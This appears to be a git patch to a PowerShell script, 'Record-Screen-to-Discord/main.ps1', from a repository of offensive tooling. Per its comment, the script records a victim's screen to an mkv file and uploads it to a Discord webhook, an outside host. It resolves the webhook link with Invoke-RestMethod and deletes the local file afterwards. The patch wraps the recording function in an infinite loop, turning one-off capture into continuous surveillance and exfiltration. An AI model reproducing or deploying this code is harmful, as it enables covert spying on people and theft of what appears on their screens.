From 3f4739776973afa72edb8a160c90bca0b4bbb57a Mon Sep 17 00:00:00 2001 From: egieb <93350544+beigeworm@users.noreply.github.com> Date: Thu, 20 Jun 2024 16:22:36 +0000 Subject: [PATCH] Update main.ps1 --- Record-Screen-to-Discord/main.ps1 | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/Record-Screen-to-Discord/main.ps1 b/Record-Screen-to-Discord/main.ps1 index 33e8d1f..87bbe6c 100644 --- a/Record-Screen-to-Discord/main.ps1 +++ b/Record-Screen-to-Discord/main.ps1 @@ -8,6 +8,8 @@ This script records the screen for a specified time to a mkv file, then sends th $hookurl = "$dc" if ($hookurl.Ln -lt 120){$hookurl = (irm $hookurl).url} +while($true){ + Function RecordScreen{ param ([int[]]$t) if ($t.Length -eq 0){$t = 10} @@ -34,4 +36,6 @@ Function RecordScreen{ rm -Path $mkvPath -Force } -RecordScreen \ No newline at end of file +RecordScreen + +}